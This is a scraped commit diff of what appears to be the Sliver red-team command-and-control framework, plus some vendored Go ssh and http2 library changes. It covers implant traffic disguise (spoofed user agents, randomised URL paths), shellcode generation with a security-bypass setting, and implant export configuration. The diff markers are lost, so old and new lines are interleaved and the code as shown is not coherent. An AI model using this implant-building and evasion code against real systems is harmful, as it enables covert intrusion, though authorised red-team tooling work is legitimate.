beaconTasks := []*models.BeaconTask{}
err := Session().Select([]string{
"ID", "EnvelopeID", "BeaconID", "CreatedAt", "State", "SentAt", "CompletedAt",
"Description",
}).Where(&models.BeaconTask{BeaconID: id}).Find(&beaconTasks).Error
/*
Even though we are fetching the request/response columns here, we will not send
them back in the response
If we SELECT those columns out, that will bypass GORM's reflection-based field
to column mapping and can cause GORM not to map the created_at field correctly
*/
err := Session().Where(&models.BeaconTask{BeaconID: id}).Find(&beaconTasks).Error
pbBeaconTasks := []*clientpb.BeaconTask{}
for _, beaconTask := range beaconTasks {
pbBeaconTasks = append(pbBeaconTasks, beaconTask.ToProtobuf(true))
// Do not preserve the request and response columns
pbBeaconTasks = append(pbBeaconTasks, beaconTask.ToProtobuf(false))
}
return pbBeaconTasks, err
}
+81 -120
View File
@@ -20,6 +20,7 @@ package models
import (
"fmt"
"strings"
"time"
insecureRand "math/rand"
@@ -66,20 +67,6 @@ func (h *HttpC2Config) ToProtobuf() *clientpb.HTTPC2Config {
}
}
func (h *HttpC2Config) GenerateImplantHTTPC2Config() *clientpb.HTTPC2ImplantConfig {
params := make([]*clientpb.HTTPC2URLParameter, len(h.ImplantConfig.ExtraURLParameters))
for i, param := range h.ImplantConfig.ExtraURLParameters {
params[i] = param.ToProtobuf()
}
return &clientpb.HTTPC2ImplantConfig{
UserAgent: h.ImplantConfig.UserAgent,
ChromeBaseVersion: h.ImplantConfig.ChromeBaseVersion,
MacOSVersion: h.ImplantConfig.MacOSVersion,
NonceQueryArgChars: h.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: params,
}
}
// HttpC2ServerConfig - HTTP C2 Server Configuration
type HttpC2ServerConfig struct {
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
@@ -124,18 +111,23 @@ type HttpC2ImplantConfig struct {
ExtraURLParameters []HttpC2URLParameter
Headers []HttpC2Header
MaxFiles int32
MinFiles int32
MaxPaths int32
MinPaths int32
// File/Path Generation subset size of the http config to select during generation
// see randomSample function
MaxFileGen int32
MinFileGen int32
MaxPathGen int32
MinPathGen int32
StagerFileExtension string
PollFileExtension string
StartSessionFileExtension string
SessionFileExtension string
CloseFileExtension string
// implant configuration for path length
MaxPathLength int32
MinPathLength int32
PathSegments []HttpC2PathSegment
// gorm doesn not support string arrays apparently
Extensions string
PathSegments []HttpC2PathSegment
NonceQueryLength int32
NonceMode string
}
func (h *HttpC2ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
@@ -157,23 +149,23 @@ func (h *HttpC2ImplantConfig) ToProtobuf() *clientpb.HTTPC2ImplantConfig {
pathSegments[i] = segment.ToProtobuf()
}
return &clientpb.HTTPC2ImplantConfig{
ID: h.ID.String(),
UserAgent: h.UserAgent,
ChromeBaseVersion: h.ChromeBaseVersion,
MacOSVersion: h.MacOSVersion,
NonceQueryArgChars: h.NonceQueryArgChars,
ExtraURLParameters: params,
Headers: headers,
MaxFiles: h.MaxFiles,
MinFiles: h.MinFiles,
MaxPaths: h.MaxPaths,
MinPaths: h.MinPaths,
StagerFileExtension: h.StagerFileExtension,
PollFileExtension: h.PollFileExtension,
StartSessionFileExtension: h.StartSessionFileExtension,
SessionFileExtension: h.SessionFileExtension,
CloseFileExtension: h.CloseFileExtension,
PathSegments: pathSegments,
ID: h.ID.String(),
UserAgent: h.UserAgent,
ChromeBaseVersion: h.ChromeBaseVersion,
MacOSVersion: h.MacOSVersion,
NonceQueryArgChars: h.NonceQueryArgChars,
ExtraURLParameters: params,
Headers: headers,
MaxFileGen: h.MaxFileGen,
MinFileGen: h.MinFileGen,
MaxPathGen: h.MaxPathGen,
MinPathGen: h.MinPathGen,
MaxPathLength: h.MaxPathLength,
MinPathLength: h.MinPathLength,
Extensions: strings.Split(h.Extensions, ","),
PathSegments: pathSegments,
NonceQueryLength: h.NonceQueryLength,
NonceMode: h.NonceMode,
}
}
@@ -271,10 +263,9 @@ func (h *HttpC2PathSegment) BeforeCreate(tx *gorm.DB) (err error) {
func (h *HttpC2PathSegment) ToProtobuf() *clientpb.HTTPC2PathSegment {
return &clientpb.HTTPC2PathSegment{
ID: h.ID.String(),
IsFile: h.IsFile,
SegmentType: clientpb.HTTPC2SegmentType(h.SegmentType),
Value: h.Value,
ID: h.ID.String(),
IsFile: h.IsFile,
Value: h.Value,
}
}
@@ -330,29 +321,28 @@ func HTTPC2ConfigFromProtobuf(pbHttpC2Config *clientpb.HTTPC2Config) *HttpC2Conf
pathSegments := []HttpC2PathSegment{}
for _, pathSegment := range pbHttpC2Config.ImplantConfig.PathSegments {
pathSegments = append(pathSegments, HttpC2PathSegment{
IsFile: pathSegment.IsFile,
SegmentType: int32(pathSegment.SegmentType),
Value: pathSegment.Value,
IsFile: pathSegment.IsFile,
Value: pathSegment.Value,
})
}
cfg.ImplantConfig = HttpC2ImplantConfig{
UserAgent: pbHttpC2Config.ImplantConfig.UserAgent,
ChromeBaseVersion: pbHttpC2Config.ImplantConfig.ChromeBaseVersion,
MacOSVersion: pbHttpC2Config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: pbHttpC2Config.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: params,
Headers: implantHeaders,
MaxFiles: pbHttpC2Config.ImplantConfig.MaxFiles,
MinFiles: pbHttpC2Config.ImplantConfig.MinFiles,
MaxPaths: pbHttpC2Config.ImplantConfig.MaxPaths,
MinPaths: pbHttpC2Config.ImplantConfig.MinPaths,
StagerFileExtension: pbHttpC2Config.ImplantConfig.StagerFileExtension,
PollFileExtension: pbHttpC2Config.ImplantConfig.PollFileExtension,
StartSessionFileExtension: pbHttpC2Config.ImplantConfig.StartSessionFileExtension,
SessionFileExtension: pbHttpC2Config.ImplantConfig.SessionFileExtension,
CloseFileExtension: pbHttpC2Config.ImplantConfig.CloseFileExtension,
PathSegments: pathSegments,
UserAgent: pbHttpC2Config.ImplantConfig.UserAgent,
ChromeBaseVersion: pbHttpC2Config.ImplantConfig.ChromeBaseVersion,
MacOSVersion: pbHttpC2Config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: pbHttpC2Config.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: params,
Headers: implantHeaders,
MaxFileGen: pbHttpC2Config.ImplantConfig.MaxFileGen,
MinFileGen: pbHttpC2Config.ImplantConfig.MinFileGen,
MaxPathGen: pbHttpC2Config.ImplantConfig.MaxPathGen,
MinPathGen: pbHttpC2Config.ImplantConfig.MinPathGen,
MaxPathLength: pbHttpC2Config.ImplantConfig.MaxPathLength,
MinPathLength: pbHttpC2Config.ImplantConfig.MinPathLength,
Extensions: strings.Join(pbHttpC2Config.ImplantConfig.Extensions, ","),
PathSegments: pathSegments,
NonceQueryLength: pbHttpC2Config.ImplantConfig.NonceQueryLength,
NonceMode: pbHttpC2Config.ImplantConfig.NonceMode,
}
// C2 Config
@@ -370,18 +360,19 @@ func RandomizeImplantConfig(h *clientpb.HTTPC2ImplantConfig, goos string, goarch
ExtraURLParameters: h.ExtraURLParameters,
Headers: h.Headers,
PollFileExtension: h.PollFileExtension,
StartSessionFileExtension: h.StartSessionFileExtension,
SessionFileExtension: h.SessionFileExtension,
CloseFileExtension: h.CloseFileExtension,
PathSegments: RandomPathSegments(h),
UserAgent: GenerateUserAgent(goos, goarch, h.UserAgent, h.ChromeBaseVersion, h.MacOSVersion),
ChromeBaseVersion: h.ChromeBaseVersion,
MacOSVersion: h.MacOSVersion,
MinFiles: h.MinFiles,
MaxFiles: h.MaxFiles,
MinPaths: h.MinPaths,
MaxPaths: h.MaxPaths,
Extensions: h.Extensions,
PathSegments: RandomPathSegments(h),
UserAgent: GenerateUserAgent(goos, goarch, h.UserAgent, h.ChromeBaseVersion, h.MacOSVersion),
ChromeBaseVersion: h.ChromeBaseVersion,
MacOSVersion: h.MacOSVersion,
MinFileGen: h.MinFileGen,
MaxFileGen: h.MaxFileGen,
MinPathGen: h.MinPathGen,
MaxPathGen: h.MaxPathGen,
MinPathLength: h.MinPathLength,
MaxPathLength: h.MaxPathLength,
NonceQueryLength: h.NonceQueryLength,
NonceMode: h.NonceMode,
}
}
@@ -442,61 +433,31 @@ func MacOSVer(MacOSVersion string) string {
func RandomPathSegments(h *clientpb.HTTPC2ImplantConfig) []*clientpb.HTTPC2PathSegment {
var (
sessionPaths []*clientpb.HTTPC2PathSegment
closePaths []*clientpb.HTTPC2PathSegment
pollPaths []*clientpb.HTTPC2PathSegment
sessionFiles []*clientpb.HTTPC2PathSegment
closeFiles []*clientpb.HTTPC2PathSegment
pollFiles []*clientpb.HTTPC2PathSegment
paths []*clientpb.HTTPC2PathSegment
files []*clientpb.HTTPC2PathSegment
)
for _, pathSegment := range h.PathSegments {
switch pathSegment.SegmentType {
case 0:
if pathSegment.IsFile {
pollFiles = append(pollFiles, pathSegment)
} else {
pollPaths = append(pollPaths, pathSegment)
}
case 1:
if pathSegment.IsFile {
sessionFiles = append(sessionFiles, pathSegment)
} else {
sessionPaths = append(sessionPaths, pathSegment)
}
case 2:
if pathSegment.IsFile {
closeFiles = append(closeFiles, pathSegment)
} else {
closePaths = append(closePaths, pathSegment)
}
default:
continue
if pathSegment.IsFile {
files = append(files, pathSegment)
} else {
paths = append(paths, pathSegment)
}
}
sessionPaths = RandomPaths(sessionPaths, h.MinPaths, h.MaxPaths)
pollPaths = RandomPaths(pollPaths, h.MinPaths, h.MaxPaths)
closePaths = RandomPaths(closePaths, h.MinPaths, h.MaxPaths)
sessionFiles = RandomFiles(sessionFiles, h.MinFiles, h.MaxFiles)
closeFiles = RandomFiles(closeFiles, h.MinFiles, h.MaxFiles)
pollFiles = RandomFiles(pollFiles, h.MinFiles, h.MaxFiles)
paths = RandomPaths(paths, h.MinPathGen, h.MaxPathGen)
files = RandomFiles(files, h.MinFileGen, h.MaxFileGen)
var res []*clientpb.HTTPC2PathSegment
res = append(res, sessionPaths...)
res = append(res, closePaths...)
res = append(res, pollPaths...)
res = append(res, sessionFiles...)
res = append(res, closeFiles...)
res = append(res, pollFiles...)
res = append(res, paths...)
res = append(res, files...)
return res
}
func RandomFiles(httpC2PathSegments []*clientpb.HTTPC2PathSegment, minFiles int32, maxFiles int32) []*clientpb.HTTPC2PathSegment {
if minFiles < 1 {
minFiles = 1
func RandomFiles(httpC2PathSegments []*clientpb.HTTPC2PathSegment, MinFileGen int32, MaxFileGen int32) []*clientpb.HTTPC2PathSegment {
if MinFileGen < 1 {
MinFileGen = 1
}
return randomSample(httpC2PathSegments, minFiles, maxFiles)
return randomSample(httpC2PathSegments, MinFileGen, MaxFileGen)
}
func RandomPaths(httpC2PathSegments []*clientpb.HTTPC2PathSegment, minPaths int32, maxPaths int32) []*clientpb.HTTPC2PathSegment {
+8 -2
View File
@@ -20,6 +20,7 @@ package models
import (
"net/url"
"strings"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -136,8 +137,7 @@ func ImplantBuildFromProtobuf(ib *clientpb.ImplantBuild) *ImplantBuild {
WGImplantPrivKey: ib.WGImplantPrivKey,
WGServerPubKey: ib.WGServerPubKey,
Stage: ib.Stage,
}
Stage: ib.Stage}
return &build
}
@@ -168,6 +168,7 @@ type ImplantConfig struct {
MaxConnectionErrors uint32
ConnectionStrategy string
SGNEnabled bool
Exports string
// WireGuard
WGPeerTunIP string
@@ -207,6 +208,7 @@ type ImplantConfig struct {
NetGoEnabled bool
TrafficEncodersEnabled bool
Assets []EncoderAsset
Extension string
}
// BeforeCreate - GORM hook
@@ -284,6 +286,8 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
IncludeNamePipe: ic.IncludeNamePipe,
IncludeWG: ic.IncludeWG,
IncludeTCP: ic.IncludeTCP,
Extension: ic.Extension,
Exports: strings.Split(ic.Exports, ","),
}
if ic.ImplantProfileID != nil {
@@ -494,6 +498,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
cfg.IsShellcode = pbConfig.IsShellcode
cfg.RunAtLoad = pbConfig.RunAtLoad
cfg.DebugFile = pbConfig.DebugFile
cfg.Exports = strings.Join(pbConfig.Exports, ",")
cfg.HttpC2ConfigName = pbConfig.HTTPC2ConfigName
cfg.NetGoEnabled = pbConfig.NetGoEnabled
@@ -505,6 +510,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
Name: pbAsset.Name,
})
}
cfg.Extension = pbConfig.Extension
return &cfg
}
+2
View File
@@ -153,6 +153,7 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goGarble(config),
}
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
if err != nil {
return "", err
@@ -226,6 +227,7 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goGarble(config),
}
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
if err != nil {
return "", err
+1
View File
@@ -488,6 +488,7 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
ObfuscateSymbols: false,
Format: clientpb.OutputFormat_SHARED_LIB,
IsSharedLib: true,
Exports: []string{"StartW"},
WGPeerTunIP: "100.64.0.2",
WGKeyExchangePort: 1234,
WGTcpCommsPort: 5678,
+6 -2
View File
@@ -7,6 +7,7 @@ import (
"strings"
"github.com/Binject/go-donut/donut"
"github.com/bishopfox/sliver/server/configs"
)
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
@@ -34,6 +35,9 @@ func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, cl
if createNewThread {
thread = 1
}
serverConf := configs.GetServerConfig()
donutArch := getDonutArch(arch)
// We don't use DonutConfig.Thread = 1 because we create our own remote thread
// in the task runner, and we're doing some housekeeping on it.
@@ -47,8 +51,8 @@ func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, cl
Parameters: params,
Class: className,
Method: method,
Bypass: 3, // 1=skip, 2=abort on fail, 3=continue on fail.
Format: uint32(1), // 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
Bypass: serverConf.DonutBypass, // 1=skip, 2=abort on fail, 3=continue on fail.
Format: uint32(1), // 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
Arch: donutArch,
Entropy: 0, // 1=disable, 2=use random names, 3=random names + symmetric encryption (default)
Compress: uint32(1), // 1=disable, 2=LZNT1, 3=Xpress, 4=Xpress Huffman
+16
View File
@@ -33,6 +33,22 @@ func SliverExternal(name string, config *clientpb.ImplantConfig) (*clientpb.Exte
config.IncludeNamePipe = models.IsC2Enabled([]string{"namedpipe"}, config.C2)
config.IncludeTCP = models.IsC2Enabled([]string{"tcppivot"}, config.C2)
// set file extension for external builds
if config.IsSharedLib {
switch config.GOOS {
case WINDOWS:
config.Extension = ".dll"
case DARWIN:
config.Extension = ".dylib"
case LINUX:
config.Extension = ".so"
}
} else {
if config.GOOS == WINDOWS {
config.Extension = ".exe"
}
}
build, err := GenerateConfig(name, config)
if err != nil {
return nil, err
+7 -2
View File
@@ -226,9 +226,14 @@ func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte
req := &sliverpb.TunnelData{}
proto.Unmarshal(data, req)
var defaultDialer = new(net.Dialer)
remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)
if !rtunnels.Check(session.ID, remoteAddress) {
sessionHandlerLog.Errorf("Session %s attempted to create reverse tunnel to %s without being initiated by a client", session.ID, remoteAddress)
return nil
}
defer rtunnels.DeletePending(session.ID)
var defaultDialer = new(net.Dialer)
ctx, cancelContext := context.WithCancel(context.Background())
+4 -2
View File
@@ -109,8 +109,10 @@ func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTas
return nil, ErrInvalidBeaconTaskID
}
if task.State == models.PENDING {
task.State = models.CANCELED
err = db.Session().Save(task).Error
err = db.Session().Model(&models.BeaconTask{}).
Where("id=?", task.ID).
Updates(map[string]interface{}{"state": models.CANCELED}).
Error
if err != nil {
beaconRpcLog.Errorf("Database error: %s", err)
return nil, ErrDatabaseFailure
-9
View File
@@ -62,15 +62,6 @@ func (rpc *Server) SaveHTTPC2Profile(ctx context.Context, req *clientpb.HTTPC2Co
if req.Overwrite && req.C2Config.Name == "" {
return nil, configs.ErrMissingC2ProfileName
}
err = db.SearchStageExtensions(req.C2Config.ImplantConfig.StagerFileExtension, req.C2Config.Name)
if err != nil {
return nil, err
}
err = db.SearchStartSessionExtensions(req.C2Config.ImplantConfig.StartSessionFileExtension, req.C2Config.Name)
if err != nil {
return nil, err
}
httpC2Config, err := db.LoadHTTPC2ConfigByName(req.C2Config.Name)
if err != nil {
+17 -2
View File
@@ -91,6 +91,10 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
config.IncludeTCP = models.IsC2Enabled([]string{"tcppivot"}, config.C2)
}
if len(config.Exports) == 0 {
config.Exports = []string{"StartW"}
}
// generate config
build, err := generate.GenerateConfig(name, config)
if err != nil {
@@ -154,6 +158,11 @@ func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq)
return nil, status.Error(codes.InvalidArgument, "invalid implant name")
}
config, err := db.ImplantConfigByID(build.ImplantConfigID)
if err != nil {
return nil, err
}
fileData, err := generate.ImplantFileFromBuild(build)
if err != nil {
return nil, err
@@ -161,7 +170,7 @@ func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq)
return &clientpb.Generate{
File: &commonpb.File{
Name: build.Name,
Name: build.Name + config.Extension,
Data: fileData,
},
}, nil
@@ -384,6 +393,7 @@ func (rpc *Server) GenerateExternalSaveBuild(ctx context.Context, req *clientpb.
rcpGenLog.Errorf("Failed to write implant binary to temp file: %s", err)
return nil, status.Error(codes.Internal, "Failed to write implant binary to temp file")
}
rpcLog.Infof("Saving external build '%s' from %s", req.Name, tmpFile.Name())
err = generate.ImplantBuildSave(implantBuild, implantConfig, tmpFile.Name())
if err != nil {
@@ -699,6 +709,10 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
return nil, err
}
if len(profile.Config.Exports) == 0 {
profile.Config.Exports = []string{"StartW"}
}
// generate config
build, err := generate.GenerateConfig(name, profile.Config)
if err != nil {
@@ -741,10 +755,11 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
if req.PrependSize {
fileData = prependPayloadSize(fileData)
}
stage2 = fileData
if req.Compress != "" {
stageType = req.Compress + " - "
stage2, err = Compress(fileData, req.Compress)
stage2, err = Compress(stage2, req.Compress)
if err != nil {
return nil, err
}
+5 -5
View File
@@ -129,7 +129,7 @@ func (rpc *Server) StartMTLSListener(ctx context.Context, req *clientpb.MTLSList
Type: constants.MtlsStr,
MTLSConf: req,
}
err = db.SaveHTTPC2Listener(listenerJob)
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
}
@@ -180,7 +180,7 @@ func (rpc *Server) StartWGListener(ctx context.Context, req *clientpb.WGListener
Type: constants.WGStr,
WGConf: req,
}
err = db.SaveHTTPC2Listener(listenerJob)
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
}
@@ -205,7 +205,7 @@ func (rpc *Server) StartDNSListener(ctx context.Context, req *clientpb.DNSListen
Type: constants.DnsStr,
DNSConf: req,
}
err = db.SaveHTTPC2Listener(listenerJob)
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
}
@@ -237,7 +237,7 @@ func (rpc *Server) StartHTTPSListener(ctx context.Context, req *clientpb.HTTPLis
Type: constants.HttpsStr,
HTTPConf: req,
}
err = db.SaveHTTPC2Listener(listenerJob)
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
}
@@ -269,7 +269,7 @@ func (rpc *Server) StartHTTPListener(ctx context.Context, req *clientpb.HTTPList
Type: constants.HttpStr,
HTTPConf: req,
}
err = db.SaveHTTPC2Listener(listenerJob)
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
}
+2
View File
@@ -23,6 +23,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core/rtunnels"
)
// GetRportFwdListeners - Get a list of all reverse port forwards listeners from an implant
@@ -38,6 +39,7 @@ func (rpc *Server) GetRportFwdListeners(ctx context.Context, req *sliverpb.Rport
// StartRportfwdListener - Instruct the implant to start a reverse port forward
func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
rtunnels.AddPending(req.Request.SessionID, req.ForwardAddress)
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
+13
View File
@@ -22,8 +22,10 @@ import (
"context"
"net"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/db"
)
// StartTCPStagerListener starts a TCP stager listener
@@ -36,6 +38,17 @@ func (rpc *Server) StartTCPStagerListener(ctx context.Context, req *clientpb.Sta
if err != nil {
return nil, err
}
listenerJob := &clientpb.ListenerJob{
JobID: uint32(job.ID),
Type: constants.StageListenerStr,
TCPConf: req,
}
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
}
return &clientpb.StagerListener{JobID: uint32(job.ID)}, nil
}
+1 -1
View File
@@ -288,7 +288,7 @@ type Directory struct {
// KeyChangeURL allows to perform account key rollover flow.
KeyChangeURL string
// Term is a URI identifying the current terms of service.
// Terms is a URI identifying the current terms of service.
Terms string
// Website is an HTTP or HTTPS URL locating a website
+11 -4
View File
@@ -149,7 +149,7 @@ func (s *ServerConfig) AddHostKey(key Signer) {
}
// cachedPubKey contains the results of querying whether a public key is
// acceptable for a user.
// acceptable for a user. This is a FIFO cache.
type cachedPubKey struct {
user string
pubKeyData []byte
@@ -157,7 +157,13 @@ type cachedPubKey struct {
perms *Permissions
}
const maxCachedPubKeys = 16
// maxCachedPubKeys is the number of cache entries we store.
//
// Due to consistent misuse of the PublicKeyCallback API, we have reduced this
// to 1, such that the only key in the cache is the most recently seen one. This
// forces the behavior that the last call to PublicKeyCallback will always be
// with the key that is used for authentication.
const maxCachedPubKeys = 1
// pubKeyCache caches tests for public keys. Since SSH clients
// will query whether a public key is acceptable before attempting to
@@ -179,9 +185,10 @@ func (c *pubKeyCache) get(user string, pubKeyData []byte) (cachedPubKey, bool) {
// add adds the given tuple to the cache.
func (c *pubKeyCache) add(candidate cachedPubKey) {
if len(c.keys) < maxCachedPubKeys {
c.keys = append(c.keys, candidate)
if len(c.keys) >= maxCachedPubKeys {
c.keys = c.keys[1:]
}
c.keys = append(c.keys, candidate)
}
// ServerConn is an authenticated SSH connection, as seen from the
+2 -2
View File
@@ -1,4 +1,4 @@
Copyright (c) 2009 The Go Authors. All rights reserved.
Copyright 2009 The Go Authors.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
@@ -10,7 +10,7 @@ notice, this list of conditions and the following disclaimer.
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
* Neither the name of Google LLC nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
+4 -4
View File
@@ -8,8 +8,8 @@ package http2
import (
"context"
"crypto/tls"
"errors"
"net"
"net/http"
"sync"
)
@@ -158,7 +158,7 @@ func (c *dialCall) dial(ctx context.Context, addr string) {
// This code decides which ones live or die.
// The return value used is whether c was used.
// c is never closed.
func (p *clientConnPool) addConnIfNeeded(key string, t *Transport, c *tls.Conn) (used bool, err error) {
func (p *clientConnPool) addConnIfNeeded(key string, t *Transport, c net.Conn) (used bool, err error) {
p.mu.Lock()
for _, cc := range p.conns[key] {
if cc.CanTakeNewRequest() {
@@ -194,8 +194,8 @@ type addConnCall struct {
err error
}
func (c *addConnCall) run(t *Transport, key string, tc *tls.Conn) {
cc, err := t.NewClientConn(tc)
func (c *addConnCall) run(t *Transport, key string, nc net.Conn) {
cc, err := t.NewClientConn(nc)
p := c.p
p.mu.Lock()
+122
View File
@@ -0,0 +1,122 @@
// Copyright 2024 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package http2
import (
"math"
"net/http"
"time"
)
// http2Config is a package-internal version of net/http.HTTP2Config.
//
// http.HTTP2Config was added in Go 1.24.
// When running with a version of net/http that includes HTTP2Config,
// we merge the configuration with the fields in Transport or Server
// to produce an http2Config.
//
// Zero valued fields in http2Config are interpreted as in the
// net/http.HTTPConfig documentation.
//
// Precedence order for reconciling configurations is:
//
// - Use the net/http.{Server,Transport}.HTTP2Config value, when non-zero.
// - Otherwise use the http2.{Server.Transport} value.
// - If the resulting value is zero or out of range, use a default.
type http2Config struct {
MaxConcurrentStreams uint32
MaxDecoderHeaderTableSize uint32
MaxEncoderHeaderTableSize uint32
MaxReadFrameSize uint32
MaxUploadBufferPerConnection int32
MaxUploadBufferPerStream int32
SendPingTimeout time.Duration
PingTimeout time.Duration
WriteByteTimeout time.Duration
PermitProhibitedCipherSuites bool
CountError func(errType string)
}
// configFromServer merges configuration settings from
// net/http.Server.HTTP2Config and http2.Server.
func configFromServer(h1 *http.Server, h2 *Server) http2Config {
conf := http2Config{
MaxConcurrentStreams: h2.MaxConcurrentStreams,
MaxEncoderHeaderTableSize: h2.MaxEncoderHeaderTableSize,
MaxDecoderHeaderTableSize: h2.MaxDecoderHeaderTableSize,
MaxReadFrameSize: h2.MaxReadFrameSize,
MaxUploadBufferPerConnection: h2.MaxUploadBufferPerConnection,
MaxUploadBufferPerStream: h2.MaxUploadBufferPerStream,
SendPingTimeout: h2.ReadIdleTimeout,
PingTimeout: h2.PingTimeout,
WriteByteTimeout: h2.WriteByteTimeout,
PermitProhibitedCipherSuites: h2.PermitProhibitedCipherSuites,
CountError: h2.CountError,
}
fillNetHTTPServerConfig(&conf, h1)
setConfigDefaults(&conf, true)
return conf
}
// configFromServer merges configuration settings from h2 and h2.t1.HTTP2
// (the net/http Transport).
func configFromTransport(h2 *Transport) http2Config {
conf := http2Config{
MaxEncoderHeaderTableSize: h2.MaxEncoderHeaderTableSize,
MaxDecoderHeaderTableSize: h2.MaxDecoderHeaderTableSize,
MaxReadFrameSize: h2.MaxReadFrameSize,
SendPingTimeout: h2.ReadIdleTimeout,
PingTimeout: h2.PingTimeout,
WriteByteTimeout: h2.WriteByteTimeout,
}
// Unlike most config fields, where out-of-range values revert to the default,
// Transport.MaxReadFrameSize clips.
if conf.MaxReadFrameSize < minMaxFrameSize {
conf.MaxReadFrameSize = minMaxFrameSize
} else if conf.MaxReadFrameSize > maxFrameSize {
conf.MaxReadFrameSize = maxFrameSize
}
if h2.t1 != nil {
fillNetHTTPTransportConfig(&conf, h2.t1)
}
setConfigDefaults(&conf, false)
return conf
}
func setDefault[T ~int | ~int32 | ~uint32 | ~int64](v *T, minval, maxval, defval T) {
if *v < minval || *v > maxval {
*v = defval
}
}
func setConfigDefaults(conf *http2Config, server bool) {
setDefault(&conf.MaxConcurrentStreams, 1, math.MaxUint32, defaultMaxStreams)
setDefault(&conf.MaxEncoderHeaderTableSize, 1, math.MaxUint32, initialHeaderTableSize)
setDefault(&conf.MaxDecoderHeaderTableSize, 1, math.MaxUint32, initialHeaderTableSize)
if server {
setDefault(&conf.MaxUploadBufferPerConnection, initialWindowSize, math.MaxInt32, 1<<20)
} else {
setDefault(&conf.MaxUploadBufferPerConnection, initialWindowSize, math.MaxInt32, transportDefaultConnFlow)
}
if server {
setDefault(&conf.MaxUploadBufferPerStream, 1, math.MaxInt32, 1<<20)
} else {
setDefault(&conf.MaxUploadBufferPerStream, 1, math.MaxInt32, transportDefaultStreamFlow)
}
setDefault(&conf.MaxReadFrameSize, minMaxFrameSize, maxFrameSize, defaultMaxReadFrameSize)
setDefault(&conf.PingTimeout, 1, math.MaxInt64, 15*time.Second)
}
// adjustHTTP1MaxHeaderSize converts a limit in bytes on the size of an HTTP/1 header
// to an HTTP/2 MAX_HEADER_LIST_SIZE value.
func adjustHTTP1MaxHeaderSize(n int64) int64 {
// http2's count is in a slightly different unit and includes 32 bytes per pair.
// So, take the net/http.Server value and pad it up a bit, assuming 10 headers.
const perFieldOverhead = 32 // per http2 spec
const typicalHeaders = 10 // conservative
return n + typicalHeaders*perFieldOverhead
}
+61
View File
@@ -0,0 +1,61 @@
// Copyright 2024 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build go1.24
package http2
import "net/http"
// fillNetHTTPServerConfig sets fields in conf from srv.HTTP2.
func fillNetHTTPServerConfig(conf *http2Config, srv *http.Server) {
fillNetHTTPConfig(conf, srv.HTTP2)
}
// fillNetHTTPServerConfig sets fields in conf from tr.HTTP2.
func fillNetHTTPTransportConfig(conf *http2Config, tr *http.Transport) {
fillNetHTTPConfig(conf, tr.HTTP2)
}
func fillNetHTTPConfig(conf *http2Config, h2 *http.HTTP2Config) {
if h2 == nil {
return
}
if h2.MaxConcurrentStreams != 0 {
conf.MaxConcurrentStreams = uint32(h2.MaxConcurrentStreams)
}
if h2.MaxEncoderHeaderTableSize != 0 {
conf.MaxEncoderHeaderTableSize = uint32(h2.MaxEncoderHeaderTableSize)
}
if h2.MaxDecoderHeaderTableSize != 0 {
conf.MaxDecoderHeaderTableSize = uint32(h2.MaxDecoderHeaderTableSize)
}
if h2.MaxConcurrentStreams != 0 {
